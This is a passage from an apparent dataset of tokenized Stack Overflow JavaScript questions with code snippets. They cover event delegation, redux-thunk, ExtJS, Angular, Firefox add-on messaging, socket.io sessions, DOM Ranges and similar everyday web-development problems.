action . Your actions here case `` first '' : alert ( kk ) ; break ; case `` second '' : alert ( `` second '' ) ; break ; case `` third '' : alert ( `` third '' ) ; break ; } // Hide it AFTER the action was triggered $ ( `` .custom-menu '' ) .hide ( 100 ) ; } ) ;",Jquery get unique css selector on rightclick menu item or click a dom element "JS : I read the following : '' if users can interact with a lot of elements on a page , adding event listeners to each element can use a lot of memory and slow down performance ... ... because events affecting containing elements you can place event handlers on a containing element and use the event target property to find out which of its children the event occured on '' So , what are the downsides to just doing one click event on the body and then delegating the correct function ? I have an example here : http : //jsfiddle.net/jkg0h99d/3/Code backup for deadlink : HTML : JS : Interesting point : It will raise an event every time a user clicks . But , is that really going to be a problem ? All it does is check through a switch ( or could be if checks ) The point of this is mere interest , however a user has asked about the point optimisation . I am thinking this could very quickly be optimised further but I will keep the discussion on topic . < div id= '' test '' class= '' box '' > gfdgsfdg < /div > < div id= '' test2 '' class= '' box '' > gfdsgfdsg < /div > < div id= '' test3 '' class= '' box '' > fdsgfdsgg < /div > < ul id= '' test4 '' class= '' box '' > < li id= '' test5 '' class= '' box '' > fsgfdsg < /li > < li id= '' test6 '' class= '' box '' > gfdsgfds < /li > < li id= '' test7 '' class= '' box '' > gfdsgfds < /li > < li id= '' test8 '' class= '' box '' > gfdsgfds < /li > < /ul > var body = document.body ; if ( body.addEventListener ) { body.addEventListener ( 'click ' , function ( e ) { delegate ( e , `` click '' ) ; } , false ) ; } else { body.attachEvent ( 'onclick ' , function ( e ) { delegate ( e , `` click '' ) ; } , false ) ; } function delegate ( e ) { var sourceNode = e.target || e.srcElement ; var id = sourceNode.id ; switch ( id ) { case ( `` test '' ) : // do some func break ; case ( `` test2 '' ) : // do some func break ; case ( `` test3 '' ) : // do some func break ; case ( `` test4 '' ) : // do some func break ; default : // do nothing break ; } }",Is it more efficient to store click events on the body or individual groups of elements "JS : When writing redux-thunk functions , known as thunks there is allot of boilerplate that could be easily abstracted away . For example in most of our async API calls we are doing the following , without any side-effects : Easy ! Although as this covers at least 70 % of our requests I 'm sure there is an elegant way to abstract away allot of the above code to something like this ( pseudo code ) : When we need to check the state and other side effects we can go back to a proper thunk . Although for most cases ... we could cut this down ? Any elegant ideas ? export const LOGIN_REQUEST = 'my-app/auth/LOGIN_REQUEST ' ; export const LOGIN_RECIEVE = 'my-app/auth/LOGIN_RECIEVE ' ; export const LOGIN_FAILURE = 'my-app/auth/LOGIN_FAILURE ' ; // ... reducer code hereexport function login ( loginHandle , password ) { return ( dispatch , getState , api ) = > { dispatch ( { type : LOGIN_REQUEST } ) ; api.post ( '/auth/login ' , { loginHandle , password } ) .then ( response = > dispatch ( { type : LOGIN_RECIEVE , response } ) , error = > dispatch ( { type : LOGIN_FAILURE , error } ) ) ; } ; } export function login ( loginHandle , password ) { return ( dispatch , getState , api ) = > api ( 'POST ' , LOGIN_REQUEST , '/auth/login ' , { loginHandle , password } ) ; }",Reducing redux-thunk boilerplate "JS : I just noticed that stores config http : //docs.sencha.com/extjs/6.0/6.0.2-classic/ # ! /api/Ext.app.Controller-cfg-stores on Ext.app.Controller is not looking in the right path ( happens the same with views config ) .e.g this will look for http : //localhost/myapp/app/controller/store/Menu.js ? _dc=20160607211025notice the controller folderinstead of http : //localhost/myapp/app/store/Menu.js ? _dc=20160607211025At the beginning I thought this was a configuration issue specific to one of my projects but then got the same thing on a different project . I am using ExtJs 6.02 I know I can use the full class name like MyApp.store.Menu but then the getter would be very ugly . ( This is happening on a huge code base that I just upgraded so using the full class name would be my last resource ) .Has someone faced this issue ? Ext.define ( 'MyApp.controller.Menu ' , { extend : 'Ext.app.Controller ' , stores : [ 'Menu ' ] ... } ) ;",ExtJs 6 stores config on Ext.app.Controller not working "JS : I have HTML markup that I am unable to alter.ExampleI would like to remove any hr that immediately follows another hr without text between them . As you can see from the snippet below , that extra hr is causing a double line.I do n't think this is possible with CSS . I tried using adjacent ( + ) selector but realised it obviously wo n't work.I looked at using jQuery : empty , but as hr is self-closing I 'm finding it hard to target . I 'd appreciate any suggestions.Snippet < p > TEXT 1 < hr > some text < hr > < hr > TEXT 2 < hr > some text < /p > body { width : 500px ; margin : 0 auto ; } hr { border-top : 3px solid # CCC ; border-bottom : none ; color : # CCC } hr + hr { /* display : none ; // does n't work */ } < p > TEXT 1 < hr > some text < hr > some more text < hr > even more text < hr > < hr > TEXT 2 < hr > some text < hr > some more text < hr > even more text < /p >",How to remove < hr > that immediately follows a < hr > ? "JS : Currently I can load a web font very easily using Google 's Web Font loader : However , is it possible to later unload the fonts and added elements from the DOM so they 're no longer used on the page ? The documentation on the project 's Github does n't show any options or methods that offer the functionality . WebFont.load ( { google : { families : [ 'Bree Serif ' ] } } ) ;",Google Webfonts : how to unload fonts after loading them ? "JS : How do I get the footer to take up the remainder of the page 's vertical space without actually knowing how tall the content is ? I ca n't figure out how to use javascript/css to accomplish this ... Just to be clear ... Scenario 1 : The content ends halfway through the page , the footer would take up the remaining half . No scrollbars necessary.Scenario 2 : The content takes up 1 1/2 pages , the footer would take up only what it needs ( ~200px ) . Scrollbars necessary.Oh , and I 'm open to a jQuery way of doing this . < body > < div id= '' content '' > < div id= '' footer '' > < /body >",HTML CSS Remainder of space "JS : For example , would this : ... be less efficient than the following , in most implementations ? Thanks for your input.Edit : In case it was n't obvious , I 'm mostly worried about lots of repeated ( de ) allocations occurring in this example . while ( true ) { var random = Math.random ( ) ; } var random ; while ( true ) { random = Math.random ( ) ; }",Does using var in a tight JavaScript loop increase memory-related overhead ? "JS : I 've come across a rather confusing statement in some JavaScript : I take it that this assigns the value n first and then performs a comparison ( a==b ) to determine whether to proceed with the if statement . But why ? Is there any advantage to doing this over say ... or ... if ( n = `` value '' , a==b ) { ... n = `` value '' ; if ( a==b ) { ... if ( a==b ) { n = `` value '' ; ...",Comma in an if statement "JS : In ruby on rails , I am trying to update 2 partials.show.html.erb : pricelistfilters.html.erb : products.js -- > events for the rendered partialproducts_controller.rb -- > code to process changes madeshow.js.erbMy rendered item is perfectly good . However , when I 've got the proper response with the rendered item , It just does n't send the ajax anymore . So the event on my select items is gone , whilst I am certain that I 've reset them with the `` selectionchanges ( ) ; '' on the end of my show.js.erb file ? Can anyone see a solution to this ? Greetings and thanks in advance < div id= '' filters '' > < % = render : partial = > `` pricelistfilters '' % > < /div > < % @ properties.each do |prop| % > # Render the page on properties ( and the newproperties ) # < select ... > < option > ... < /option > < option > ... < /option > # < /select > < % end % > $ ( window ) .ready ( function ( ) { selectionchanges ( ) ; } ) ; function selectionchanges ( ) { $ ( ' # filters select ' ) .change ( function ( ) { //Doing stuff to send with ajax //Ajax : $ .ajax ( { url : document.URL , type : 'POST ' , data : params } ) ; } ) ; } def show # Changing the properties ( and the pricelist properties ) @ properties # is filled @ newproperties # is filled respond_to do |format| format.html format.js end end $ ( ' # filters ' ) .html ( ' < % = escape_javascript ( render : partial = > `` pricelistfilters '' ) % > ' ) ; selectionChanges ( ) ;",Post response with render partial that has events is not working "JS : There 's a inputs with six entries . If the desired digits is directly pasted into the inputs..How do I distribute the numbers to the other boxes when they are pasted into the first box ? on JSfiddleThank you Roko C. Buljan who helped in the development of the codeP.S . : I 've reviewed the answer to the question . But I realized it was n't working . 123456 var $ inp = $ ( `` .passInput '' ) ; $ inp.on ( { input : function ( ev ) { if ( this.value ) { $ inp.eq ( $ inp.index ( this ) + 1 ) .focus ( ) ; } } , keydown : function ( ev ) { var i = $ inp.index ( this ) ; if ( ev.which===8 & & ! this.value & & i ) { $ inp.eq ( i - 1 ) .focus ( ) ; } } } ) ; .passInput { text-align : center ; } < form action= '' '' role= '' form '' method= '' post '' id= '' passForm '' > < input type= '' text '' class= '' passInput '' name= '' pass [ ] '' maxLength= '' 1 '' size= '' 1 '' autocomplete= '' off '' min= '' 0 '' max= '' 9 '' required pattern= '' \d { 1 } '' autofocus > < input type= '' text '' class= '' passInput '' name= '' pass [ ] '' maxLength= '' 1 '' size= '' 1 '' autocomplete= '' off '' min= '' 0 '' max= '' 9 '' required pattern= '' \d { 1 } '' > < input type= '' text '' class= '' passInput '' name= '' pass [ ] '' maxLength= '' 1 '' size= '' 1 '' autocomplete= '' off '' min= '' 0 '' max= '' 9 '' required pattern= '' \d { 1 } '' > < input type= '' text '' class= '' passInput '' name= '' pass [ ] '' maxLength= '' 1 '' size= '' 1 '' autocomplete= '' off '' min= '' 0 '' max= '' 9 '' required pattern= '' \d { 1 } '' > < input type= '' text '' class= '' passInput '' name= '' pass [ ] '' maxLength= '' 1 '' size= '' 1 '' autocomplete= '' off '' min= '' 0 '' max= '' 9 '' required pattern= '' \d { 1 } '' > < input type= '' text '' class= '' passInput '' name= '' pass [ ] '' maxLength= '' 1 '' size= '' 1 '' autocomplete= '' off '' min= '' 0 '' max= '' 9 '' pattern= '' \d { 1 } '' > < button type= '' submit '' class= '' btn btn-lg btn-primary '' > SUBMIT < /button > < /form > < script src= '' https : //cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script >",How do paste to multiple input ? "JS : Update # 2 : Updated scripts.Goala ) User selects a button . The value of the last button clicked + .current__amount = new__amountb ) No running total . Clicking the same button again should deselect it and then subtract that value from .new__amount then change the placeholder text using .html ( ) ProblemRight , now for whatever reason , clicking a button does not add or remove its value from the .new__amount.I 've console.log ( buttons [ i ] .value ) and console.log ( buttons [ i ] .class ) and can see that the for loop is printing the class and the value of these six buttons , which represent a bid in a silent auction $ 10 , 25 , 50 and have been stored in an array called var buttons = [ ] , like I want.scripts.js ( Updated ) Almost there . Just need to make it so that only one button can be selected at a time . /* -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -STEP ONE : PLACE BID -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- */ $ .ajax ( { url : `` https : //sheetsu.com/apis/4a8eceba '' , method : `` GET '' , dataType : `` json '' } ) .then ( function ( spreadsheet ) { // Print current bid var currentBid = spreadsheet.result.pop ( ) .Bids ; $ ( `` .current__amount '' ) .html ( `` $ '' +currentBid ) ; $ ( '.button__form ' ) .on ( 'click ' , function ( ) { var value = $ ( this ) .val ( ) ; if ( $ ( this ) .hasClass ( 'is-selected ' ) ) { $ ( this ) .removeClass ( 'is-selected ' ) ; $ ( `` .check -- one '' ) .css ( `` color '' , `` # ccc '' ) ; currentBid = parseInt ( currentBid ) - parseInt ( value ) ; } else { $ ( this ) .addClass ( 'is-selected ' ) ; $ ( `` .check -- one '' ) .css ( `` color '' , `` # ffdc00 '' ) ; currentBid = parseInt ( currentBid ) + parseInt ( value ) ; } $ ( '.total__amount ' ) .html ( `` $ '' + currentBid ) ; } ) ; } ) ;",Getting value of last clicked item from array "JS : First of all , I must confess , that there are dozens of similar questions here at stackoverflow ( this , this and myriads of others ) , but all of them are nicely solved with the help of a callback function or simply putting a code inside this image.onload event : But this is not my case . This is a signature of my function that is responsible for loading images : So , I need to return ! I must do it and I have no other chance . The reason I must follow this signature is that , this pattern is used by some external library function which looks like so : So , even if I can change the logic of my patternBuilder function , I still can not change the external library function . This external function uses patternBuilder and returns a style variable itself . So , there is no room for callbacks . image.onload = function ( ) { //do other stuff that should be done right after image is loaded } function patternBuilder ( index ) { var pattern , image , ... ... image = new Image ( ) ; image.id = `` _ '' + index + `` _ '' ; image.src = `` images/_ '' + index + `` _.png '' ; image.onload = function ( ) { pattern = ctx.createPattern ( image , `` repeat '' ) ; } return pattern ; // ! ! ! ! may return undefined if image is not yet loaded } style : function ( feature ) { var pattern = patternBuilder ( feature.get ( `` index '' ) ) ; var style = new ol.style.Style ( { fill : new ol.style.Fill ( { color : pattern } ) } ) ; return style ; }",how to return after image is loaded JS : What 's the point of having this logical operator like this : r == 0 & & ( r = i ) ; ? is this the same as : function do ( ) { var r = 0 ; var i = 10 ; r == 0 & & ( r = i ) ; } if ( r==0 ) { r=i ; },Javascript usage of & & operator instead of if condition "JS : In javascript , I have a string which contains numbers , and I want to increment the values by one.Example : Using a regex , is it possible to perform operations ( addition in this case ) on the matched backreference ? A found a similar question using Ruby : var string = `` This is a string with numbers 1 2 3 4 5 6 7 8 9 10 '' ; var desiredResult = `` This is a string with numbers 2 3 4 5 6 7 8 9 10 11 '' ; string.gsub ( / ( \d+ ) / ) { `` # { $ 1.to_i + 1 } '' }",How to Perform Operations on Regex Backreference Matches in Javascript ? "JS : Having some problems with the following block of code : I 'm trying to apply a .500 second delay between each call of mergeOne , but this code only applies a .500 second delay before calling mergeOne on all the elements in the array simultaneously.If someone could explain why this code does n't work and possibly a working solution that would be awesome , thanks ! $ ( '.merge ' ) .each ( function ( index ) { var mergeEl = $ ( this ) ; setTimeout ( function ( ) { self.mergeOne ( mergeEl , self , index - ( length - 1 ) ) ; } , 500 ) ; } ) ;",Applying delay between each iteration of jQuery 's .each ( ) method "JS : I have successfully set up testing with Karma and Webpack for my sandbox project written in Typescript . The code coverage metrics are collected by Istanbul Instrumenter Loader . What bothers me is that I get the coverage reported only for the modules that are being imported in the tests , so the reported coverage of 100 % is in fact a dirty lie.Looking for a solution , I have found a passage in Istanbul Instrumenter Loader 's readme : To create a code coverage report for all components ( even for those for which you have no tests yet ) you have to require all the 1 ) sources and 2 ) tests.test/index.jsIf I understand correctly , this snippet walks over all index files in source dir and imports everything from them . My question is : how to correctly translate this snippet to Typescript ? Or is there a better solution that does not require the import * from * workaround ? EditI 've found this question : Typescript 1.8 modules : import all files from folder . Does this mean that I need an index.ts file where I have to import each module ? This would mean that each time I introduce a new module file , I have to manually add its import to index.ts ? There must be a better way.Edit 2I 'm also open to other tools that can generate coverage report for the whole code base , the only condition them being able to cope with the Typescript + Webpack + Karma + Mocha stack . I have tried nyc , but could n't manage to get any code coverage at all.Edit 3Here 's the index.js from above translated to Typescript : Edit 4There 's a karma plugin now called karma-sabarivka-reporter that corrects the coverage statistics . Check out the accepted answer for details . // requires all tests in ` project/test/src/components/**/index.js ` const tests = require.context ( './src/components/ ' , true , /index\.js $ / ) ; tests.keys ( ) .forEach ( tests ) ; // requires all components in ` project/src/components/**/index.js ` const components = require.context ( '../src/components/ ' , true , /index\.js $ / ) ; components.keys ( ) .forEach ( components ) ; declare const require : any ; const ctx = require.context ( '../src ' , true , /\.ts $ / ) ; ctx.keys ( ) .map ( ctx ) ;",Karma tests : measure coverage for untested code "JS : I have the following gulp task for bundling javascript : When I run this in the Chrome dev tools , sourcemaps are found and breakpoints work , but variables ca n't be debugged.Take this example chunk of angular code : If I add a breakpoint to see the value of $ animateProvider , I get the following : But if I turn off variable mangling in Uglify : Then it works : So it seems that the gulp-sourcemaps plugin ca n't follow up variables after Uglify mangles the names.Can anyone else get the same issue and/or know a solution ? gulp.task ( 'js ' , function ( ) { return gulp.src ( paths.js ) .pipe ( sourcemaps.init ( ) ) .pipe ( uglify ( ) ) .pipe ( concat ( 'bundle.min.js ' ) ) .pipe ( sourcemaps.write ( './ ' ) ) .pipe ( gulp.dest ( 'dist ' ) ) ; } ) ; iarApp.config ( [ ' $ animateProvider ' , function ( $ animateProvider ) { $ animateProvider.classNameFilter ( /angular-animate/ ) ; } ] ) ; .pipe ( uglify ( { mangle : false } ) )",Debugging variables not working with gulp sourcemaps + uglify "JS : I have a problem with the angular2 date pipe when using danish locale . When I format a date like : it outputs the day of the date with a suffixed period like this:17.-03-2017 allthough I would expect it to be like this:17-03-2017The locale is set in the app.module like this : I have made this plnkr to make it more clear http : //plnkr.co/edit/A5ddrKP5cmsSZ9bTqzPh UPDATEIt probably has something to do with the way dates are formatted in danish . Se below : turns into -- > fredag den 17. marts 2017Notice the dot { { myDate | date : 'dd-MM-yyyy ' } } providers : [ { provide : LOCALE_ID , useValue : 'da-DK ' } ] var locale = 'da-DK ' ; var options = { weekday : 'long ' , year : 'numeric ' , month : 'long ' , day : 'numeric ' } ; var date = new Date ( 2017,2,17 ) ; var result = new Intl.DateTimeFormat ( locale , options ) .format ( date ) ; alert ( result ) ;",angular2 date pipe locale_id period "JS : Note : I 've searched for this error , but everything I 've found was about calling functions . I 'm not calling any function . I 'm just trying to access a property.I get the error when I execute this simple code : I have no idea of why this happens . The code works fine if I try to get the property from the prototype of b ... ... and also using a normal object.Why does this happen ? It makes no sense to me . MDN says : When trying to access a property of an object , the property will not only be sought on the object but on the prototype of the object , the prototype of the prototype , and so on until either a property with a matching name is found or the end of the prototype chain is reached.The prototype chain of b ( in the first example ) is : ( Proof ) EDIT : Note how the 1st object in the proto chain is a HTMLParagraphElement . This is normal , so that 's not the problem . ( Image ) The problem ( i think ) is that the proprieties get kinda copied to the main b object and not just to b 's prototype . This means that the browser founds a matching name right in the first object and tries to access it , but it throws an error . ( Image ; clicking the ( ... ) results in error ) .However , I still do n't understand why this happens nor why the error is thrown . var a = document.getElementById ( `` something '' ) ; var b = Object.create ( a ) ; console.log ( b.baseURI ) //Throws error with any property of a < p id= '' something '' > Hi ! I exist just for demo purposes . This error can occur with any element. < /p > var a = document.getElementById ( `` something '' ) ; var b = Object.create ( a ) ; console.log ( Object.getPrototypeOf ( b.baseURI ) ) //Works var a = { foo : `` Foo ! `` } ; var b = Object.create ( a ) ; console.log ( b.foo ) //Works HTMLParagraphElement -- > HTMLParagraphElement ( the actual element object ) -- > HTMLParagraphElement -- > HTMLElement -- > Element -- > Node -- > EventTarget -- > Object -- > null",JavaScript : `` TypeError : Illegal invocation '' but I 'm not calling any function JS : I created a drop-down menu in Jquery and it 's working perfectly but I have only one problem with the positioning of the menu . I created the menu right after I learned about jquery animations and I 'm still a beginner so I did n't follow any tutorials . So I was wondering how can I put the menu right under the button ? The menu is set under the button using an absolute position.Here is how the site looks while full screen : Here is how the site looks while windowed : I would like to learn how to do this with JQuery/JScript or CSS . < div id= '' nav '' class= '' grid_5 '' > < a href= '' '' > ABOUT < /a > < a id= '' products '' href= '' '' > PRODUCTS < /a > < a href= '' '' > HOME < /a > < /div > < div id= '' menu '' > < a class= '' menuButton '' href= '' '' > Cakes < /a > < br > < a class= '' menuButton '' href= '' '' > Cupcakes < /a > < br > < a class= '' menuButton '' href= '' '' > Fudges < /a > < br > < a class= '' menuButton '' href= '' '' > Ice Creams < /a > < br > < a class= '' menuButton '' href= '' '' > Hard Candies < /a > < /div >,How can I align a div right under another ? "JS : How can I save session data in express.js and have access to it inside socket.io events ? I 'm developing a webapp using express.js v4 , socket.io v1 , and the basic express-session middleware.I spent several hours trying to figure this out , but all of the current answers on Stack Overflow only apply to express v3 and socket.io v0.9 . Unfortunately I ca n't use express.io since it 's simply a wrapper using those old versions as well.My current solution is a total hack : I 'm saving my `` session data '' in an object as a key/value store based on session IDs . This works fine for single process applications , but it 's really not a good solution . It does n't actually give me access anything saved in req.session and all my saved data will be lost if the process ends.On top of all that , I need to load the 3rd party cookie package to parse the cookie string from socket.io . It seems like the new version of cookie-parser did away with its function to parse cookies from a string . At the very least , it 's not documented.There 's got to be a better way ! Edit : In the end , I decided to use express redis and wrote a function in socket.io to get information from redis based on the session ID . app.get ( '/auth ' , function ( req , res ) { if ( verified ( req.query ) ) { authed [ req.sessionID ] = true ; } } ) ; io.sockets.on ( 'connection ' , function ( websocket ) { var cookies = cookie.parse ( websocket.handshake.headers.cookie ) ; var decrypted = cookieParser.signedCookies ( cookies , random ) ; var sessionID = decrypted [ 'connect.sid ' ] ; websocket.on ( 'input ' , function ( input ) { if ( authed [ sessionID ] ) { // Do stuff ... } } ) ; } ) ;",Using sessions with Express.js v4 and Socket.io v1 "JS : I have been trying to put some basic CSS3 animation . The objective is to toggle a class on the click event of a button and animate a div based on the added class . The code works perfectly for the first iteration of toggle in Firefox but for other browsers like Chrome and for the next iteration in Firefox the transformation is toggled in a blink of an eye . Please help me to figure out what 's going wrong.Snippet : I have also prepared a fiddle here . $ ( 'button ' ) .click ( function ( ) { $ ( 'div ' ) .toggleClass ( 'clicked ' ) ; } ) ; div { background-color : # ccc ; height : 100px ; width : 100px ; transition-property : top , left ; transition-duration : 1s ; transition-timing-function : linear ; position : relative ; top : 0 ; left : 0 ; } .clicked { animation-name : clicked ; animation-duration : 1s ; animation-timing-function : linear ; animation-fill-mode : forwards ; } @ keyframes clicked { 0 % { top : 0 ; left : 0 ; } 100 % { top : 100px ; left : 100px ; } } < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js '' > < /script > < button type= '' button '' > Click Me ! < /button > < div > < /div >",Combination of animation and transition not working properly "JS : I 'm in a situation , where I kind of have to write my own event bubbling . Therefore , I need to pass a given Event-Object ( created originally from the Browser/DOM ) to multiple functions/instances , but I need to change the .target property for instance.Problem : The property descriptors of almost all attributes deny any mutation , deletion or change . Furthermore , it seems not to be possible to clone or copy the whole Event-Object using Object.assign or read in the attributes using Object.getOwnPropertyNames or Object.keys.It is of course possible to manually copy all properties into a new object by assigning them , but that seems pretty foolish.I tried to be really smart and just use the original event-object as prototype of a new object , to just shadow the properties I want to mutate . LikeBut if I do that , any access to properties of customEvent throw with : Uncaught TypeError : Illegal invocationIt does seem to work if we use a Proxy-handler which also can be used to shadow certain properties . The only problem I have here is , that it is still not possible to execute functions like stopPropagation over the Proxy ( Uncaught TypeError : Illegal invocation again ) .Question : What is the best practice to manipulate/extend a DOM Event Object ? You will suffer from 7 years of misfortune if you mention jQuery in any form or shape . Object.setPrototypeOf ( customEvent , event ) ;",How to mutate a DOM event object "JS : could not reach to homeController ( module controller ) . while clicking on `` home '' link getting error on console that `` homeController is not a function ; undefined.So , where i need to register this controllerThanks , RahultwoPageApp.js twoPageApp.Controller.jsmodule COntroller ( homeController.js ) home.jsp * Created by rahul on 9/24/2016 . */ ( function ( ) { angular.module ( `` twoPageApp '' , [ `` ngRoute '' ] ) .config ( function ( $ routeProvider ) { $ routeProvider .when ( '/home ' , { templateUrl : '/JS/twoPageAppJS/partials/home.html ' , controller : 'homeController ' , resolve : { homeContent : [ ' $ http ' , function ( $ http ) { return $ http.get ( '/homeContent.json ' ) ; } ] } } ) .when ( '/page_one ' , { templateUrl : '/Js/twoPageAppJS/partials/pageOne.html ' , controller : 'pageOneController ' , resolve : { homeContent : [ ' $ http ' , function ( $ http ) { return $ http.get ( '/pageOneContent.json ' ) ; } ] } } ) .when ( '/page_two ' , { templateUrl : '/JS/twoPageAppJS/partials/pageTwo.html ' , controller : 'pageTwoController.js ' , resolve : { homeContent : [ ' $ http ' , function ( $ http ) { return $ http.get ( '/pageTwoContent.json ' ) ; } ] } } ) } ) ; } ) ( ) ; ( function ( ) { angular.module ( `` twoPageApp '' ) .controller ( `` tpaController '' , [ ' $ scope ' , function ( $ scope ) { $ scope.name= '' this is twoPageApp js controller '' ; } ] ) } ) ( ) ; /** * Created by rahul on 9/24/2016 . */ ( function ( ) { angular.module ( `` twoPageApp '' , [ ] ) //here is the change ... .controller ( `` homeController '' , [ ' $ scope ' , ' $ rootScope ' , 'homeContent ' , function ( $ scope , $ rootScope , homeContent ) { $ rootScope.stub= { homeContent : homeContent.data } ; $ scope.hello= '' rahul '' ; console.log ( `` raja '' ) ; } ] ) ; } ) ( ) ; [ ! [ < div ng-app= '' twoPageApp '' ng-controller= '' tpaController '' > < div > < a href= '' # /home '' > home < /a > < a href= '' # /page_one '' > page One < /a > < a href= '' # /page_two '' > page Two < /a > < /div > < div ng-view > < /div > < /div > ] [ 1 ] ] [ 1 ]","angular.js:13708 Error : [ ng : areq ] Argument 'homeController ' is not a function , got undefined" "JS : TL ; DR : Is there any way to rewrite this callback-based JavaScript code to use promises and generators instead ? BackgroundI have a Firefox extension written using the Firefox Add-on SDK . As usual for the SDK , the code is split into an add-on script and a content script . The two scripts have different kinds of privileges : add-on scripts can do fancy things such as , for example , calling native code through the js-ctypes interface , while content scripts can interact with web pages . However , add-on scripts and content scripts can only interact with each other through an asynchronous message-passing interface.I want to be able to call extension code from a user script on an ordinary , unprivileged web page . This can be done using a mechanism called exportFunction that lets one , well , export a function from extension code to user code . So far , so good . However , one can only use exportFunction in a content script , not an add-on script . That would be fine , except that the function I need to export needs to use the aforementioned js-ctypes interface , which can only be done in an add-on script . ( Edit : it turns out to not be the case that you can only use exportFunction in a content script . See the comment below . ) To get around this , I wrote a `` wrapper '' function in the content script ; this wrapper is the function I actually export via exportFunction . I then have the wrapper function call the `` real '' function , over in the add-on script , by passing a message to the add-on script . Here 's what the content script looks like ; it 's exporting the function lengthInBytes : And here 's the add-on script , where the `` real '' version of lengthInBytes is defined . The code here listens for the content script to send it a lengthInBytesCalled message , then calls the real version of lengthInBytes , and sends back the result in a lengthInBytesReturned message . ( In real life , of course , I probably would n't need to use js-ctypes to get the length of a string ; this is just a stand-in for some more interesting C library call . Use your imagination . : ) ) Finally , the user script ( which will only work if the extension is installed ) looks like this : What I want to doNow , the call to lengthInBytes in the user script is an asynchronous call ; instead of returning a result , it `` returns '' its result in its callback argument . But , after seeing this video about using promises and generators to make async code easier to understand , I 'm wondering how to rewrite this code in that style.Specifically , what I want is for lengthInBytes to return a Promise that somehow represents the eventual payload of the lengthInBytesReturned message . Then , in the user script , I 'd have a generator that evaluated yield lengthInBytes ( `` hello '' ) to get the result.But , even after watching the above-linked video and reading about promises and generators , I 'm still stumped about how to hook this up . A version of lengthInBytes that returns a Promise would look something like : and the user script would involve something likebut that 's as much as I 've been able to figure out . How would I write this code , and what would the user script that calls it look like ? Is what I want to do even possible ? A complete working example of what I have so far is here.Thanks for your help ! // content scriptfunction lengthInBytes ( arg , callback ) { self.port.emit ( `` lengthInBytesCalled '' , arg ) ; self.port.on ( `` lengthInBytesReturned '' , function ( result ) { callback ( result ) ; } ) ; } exportFunction ( lengthInBytes , unsafeWindow , { defineAs : `` lengthInBytes '' , allowCallbacks : true } ) ; // add-on script// Get `` chrome privileges '' to access the Components object.var { Cu , Cc , Ci } = require ( `` chrome '' ) ; Cu.import ( `` resource : //gre/modules/ctypes.jsm '' ) ; Cu.import ( `` resource : //gre/modules/Services.jsm '' ) ; var pageMod = require ( `` sdk/page-mod '' ) ; var data = require ( `` sdk/self '' ) .data ; pageMod.PageMod ( { include : [ `` * '' , `` file : //* '' ] , attachTo : [ `` existing '' , `` top '' ] , contentScriptFile : data.url ( `` content.js '' ) , contentScriptWhen : `` start '' , // Attach the content script before any page script loads . onAttach : function ( worker ) { worker.port.on ( `` lengthInBytesCalled '' , function ( arg ) { let result = lengthInBytes ( arg ) ; worker.port.emit ( `` lengthInBytesReturned '' , result ) ; } ) ; } } ) ; function lengthInBytes ( str ) { // str is a JS string ; convert it to a ctypes string . let cString = ctypes.char.array ( ) ( str ) ; libc.init ( ) ; let length = libc.strlen ( cString ) ; // defined elsewhere libc.shutdown ( ) ; // ` length ` is a ctypes.UInt64 ; turn it into a JSON-serializable // string before returning it . return length.toString ( ) ; } // user script , on an ordinary web pagelengthInBytes ( `` hello '' , function ( result ) { console.log ( `` Length in bytes : `` + result ) ; } ) ; function lengthInBytesPromise ( arg ) { self.port.emit ( `` lengthInBytesCalled '' , arg ) ; return new Promise ( // do something with ` lengthInBytesReturned ` event ? ? ? idk . ) ; } var result = yield lengthInBytesPromise ( `` hello '' ) ; console.log ( result ) ;",Using generators + promises to do `` simulated synchronous '' communication in/with a Firefox SDK add-on "JS : For example I have typed array like this : When I try to call a.sort ( ) , it does n't work.What is the best way to sort typed arrays ? What about performance , can we sort typed arrays faster than regular arrays ? var a = new Int32Array ( [ 3,8,6,1,6,9 ] ) ;",How to sort typed arrays in javascript ? JS : I tried to change the tooltip placement dynamically but it does not work.And for js : http : //jsfiddle.net/znvv9ar5/I found a good answer at Change Twitter Bootstrap Tooltip content on click which shows how to change tooltip text dynamically by using tooltip ( 'fixTitle ' ) method . But could not find something for placement . < input type= '' text '' id= '' sample '' title= '' Tip '' > < button name= '' change me '' id= '' changeBtn '' > Change Tool Tip ! < /button > //Initiall tooltip for all elements $ ( `` [ title ! = '' ] '' ) .tooltip ( ) ; $ ( `` # changeBtn '' ) .click ( function ( ) { //Change tooltip placment $ ( `` # sample '' ) .tooltip ( { placement : 'left ' } ) .tooltip ( 'show ' ) ; } ),Dynamically change bootstrap tooltip placement "JS : I am trying to rebuild a Range ( ) object on a clients browser using websockets.https : //jsfiddle.net/k36goyec/First I am getting the Range object in my browser and the Node that the range starts in : I am passing three parameters over websockets to the range builder function on the clients browser.this data is passed to my buildRange function : As you can see below , I am getting the node on the clients browser by looping through all the elements on the page and comparing its content with the text : I am using setStart ( ) and setEnd ( ) to set the range of my selection on the node.Problems ! The range.startOffset/endOffset spec says the following : If the startNode is a Node of type Text , Comment , or CDATASection , then startOffset is the number of characters from the start of startNode . For other Node types , startOffset is the number of child nodes between the start of the startNode.When I select a range of text I get the following error : This is because I am passing in an offset of like 0 , 10 ( 10 characters selected ) but the node is an element node not a text node.I just ca n't seem to reliably get the text node , I can only get the element node itself ... Q : How can I reliably rebuild a Range with the node and the offsets ? var range = window.getSelection ( ) .getRangeAt ( 0 ) ; var node = range.startContainer var text = node.parentNode.textContent ; var startOffset = range.startOffsetvar endOffset = range.endOffset /** * */buildRange : function ( text , startOffset , endOffset ) { var node = this.getNodeByText ( text ) ; // get the Node by its contents var range = document.createRange ( ) ; range.setStart ( node , startOffset ) ; range.setEnd ( node , endOffset ) ; span = document.createElement ( 'span ' ) ; span.style.backgroundColor = this.color ; $ ( span ) .addClass ( 'hl ' ) ; range.surroundContents ( span ) ; } , /** * */getNodeByText : function ( text ) { var all = document.getElementsByTagName ( `` * '' ) ; for ( var i = 0 ; i < all.length ; i++ ) { if ( all [ i ] .textContent === text ) { return all [ i ] ; } } } , IndexSizeError : Index or size is negative or greater than the allowed amount","Rebuilding a Range with a Node , startOffset and endOffset" "JS : There is already some questions about map and weak maps , like this : What 's the difference between ES6 Map and WeakMap ? but I would like to ask in which situation should I favor the use of these data structures ? Or what should I take in consideration when I favor one over the others ? 